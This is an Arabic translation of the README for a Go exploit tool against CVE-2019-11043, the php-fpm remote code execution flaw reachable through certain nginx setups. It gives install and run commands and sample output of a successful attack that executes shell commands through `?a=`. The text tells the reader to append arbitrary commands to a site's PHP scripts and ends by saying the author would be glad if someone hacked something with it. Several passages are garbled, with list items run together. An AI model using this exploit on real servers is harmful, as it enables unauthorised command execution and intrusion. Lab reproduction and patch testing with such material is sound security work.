
استغلال لـ CVE-2019-11043
هذا استغلال لثغرة برمجية في php-fpm (CVE-2019-11043). في بعض تهيئات nginx + php-fpm، يمكن تشغيل الثغرة من الخارج. هذا يعني أنه يمكن لمستخدم ويب الحصول على تنفيذ أكواد إذا كانت لديك تهيئة قابلة للاستغلال (انظر أدناه).
وبينما كنا كسالى جدًا لكتابة تحليل، نشر Orange Tsai تحليلًا مثاليًا في مدونته. تحية له.
كما أن شرائحي من ZeroNights 2019 متاحة.
إذا كان خادم الويب يشغّل nginx + php-fpm وكان nginx لديه تهيئة مثل
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
وهو أيضًا يفتقر إلى أي فحوصات لوجود السكربت (مثل try_files)، فمن المحتمل أن تتمكن من اختراقه باستخدام هذا الاستغلال.
location ~ [^/]\.php(/|$) إلى php-fpm (ربما يمكن جعل التعبير النمطي أكثر صرامة، انظر #1).PATH_INFO عبر العبارة fastcgi_param PATH_INFO $fastcgi_path_info;. كما يجب تعيين SCRIPT_FILENAME باستخدام fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (قد يكون هناك مسار ثابت بدلاً من $document_root). في البداية، ظننا أن هذه موجودة دائمًا في ملف fastcgi_params، لكن هذا غير صحيح.PATH_INFO إلى قيمة فارغة. يفترض هذا الاستغلال أن توجيه fastcgi_split_path_info موجود ويحتوي على تعبير نمطي يبدأ بـ ^ وينتهي بـ $، لذلك يحاول كسر التعبير النمطي بحرف سطر جديد.PATH_INFO يُعيَّن بعد في التهيئة.منذ زمن طويل، لم يكن php-fpm يقيد امتدادات السكربتات، مما يعني أن شيئًا مثل /avatar.png/some-fake-shit.php يمكنه تنفيذ avatar.png كسكربت PHP. تم إصلاح هذه المشكلة حوالي عام 2010.
الثغرة الحالية لا تتطلب رفع ملف، وتعمل في الإصدارات الأحدث (حتى وصول الإصلاح)، والأهم من ذلك، أن الاستغلال أكثر روعة.
قم بتثبيته باستخدام
go get github.com/neex/phuip-fpizdam
إذا واجهت أخطاء ترجمة غريبة، تأكد من استخدامك go >= 1.13. شغّل البرنامج باستخدام phuip-fpizdam [url] (بافتراض أن لديك $GOPATH/bin داخل $PATH، وإلا فحدد المسار الكامل للملف التنفيذي). يبدو الناتج الجيد هكذا:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
بعد ذلك، يمكنك البدء بإلحاق ?a=<your command> بجميع سكربتات PHP (قد تحتاج إلى عدة محاولات).
بدلاً من ذلك، يمكنك استخدام صورة docker لتشغيل الاستغلال:
docker run --rm ypereirareis/cve-2019-11043 [url]
إذا كنت تريد إعادة إنتاج المشكلة أو التجربة بالاستغلال محليًا عبر Docker، فافعل ما يلي:
reproducer.docker build -t reproduce-cve-2019-11043 .. يستغرق ذلك وقتًا طويلاً لأنه يستنسخ مستودع php داخليًا ويبنيه من المصدر. ومع ذلك، سيكون الأمر أسهل بهذه الطريقة إذا كنت تريد تصحيح أخطاء الاستغلال. المراجعة المبنية هي تلك التي تسبق الإصلاح مباشرة.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= بالسكربت: http://127.0.0.1:8080/script.php?a=id. حاول عدة مرات لأن بعض عمال php-fpm فقط مصابون.إذا كنت تريد إعادة إنتاج المشكلة أو التجربة بالاستغلال محليًا عبر LXD، فافعل ما يلي:
vulnerable وattacker. يمكنك استخدام صورة الحاوية ubuntu:18.04 لكلتا الحاويتين.vulnerable، ثبّت nginx وphp-fpm. هيئ كتلة الخادم كما في هذه التهيئة. أنشئ ملفًا فارغًا /var/www/html/index.php.attacker، ثبّت لغة Go (sudo snap install go --classic)، واستنسخ هذا المستودع، وشغّل go build في مجلد المستودع../phuip-fpizdam http://vulnerable.lxd/index.php. حاول عدة مرات من أجل إصابة جميع عمال php-fpm.لمزيد من التعليمات التفصيلية، راجع اختبار CVE-2019-11043 (ثغرة php-fpm الأمنية) مع حاويات النظام LXD.
يوجد تجاوز سعة التخزين السفلي (buffer underflow) في php-fpm في إصدار PHP 5. ومع ذلك، يستخدم هذا الاستغلال تحسينًا يُستخدم لتخزين متغيرات FastCGI، وهو _fcgi_data_seg. هذا التحسين موجود فقط في php 7، لذا يعمل هذا الاستغلال تحديدًا مع php 7 فقط. قد تكون هناك تقنية استغلال أخرى تعمل مع php 5.
اكتشف d90pwn الشذوذ الأصلي خلال Real World CTF. السبب الجذري وجدته أنا (Emil Lerner) وكذلك طريقة تعيين خيارات php.ini. مجموعة خيارات php.ini النهائية وجدها beched.
يُوزَّع هذا الاستغلال بموجب شروط رخصة MIT.
امتنع عن إحداث أي ضرر باستخدام هذا الاستغلال. ولكن إذا اخترقت شيئًا ما بهذا الشيء فعلًا، فسأكون سعيدًا.
REQUEST_URItry_files $uri =404 أو if (-f $uri). إذا كان Nginx يسقط الطلبات إلى السكربتات غير الموجودة قبل توجيه FastCGI، فلن تصل طلباتنا إلى php-fpm أبدًا. إضافة هذا هو أيضًا أسهل طريقة للإصلاح.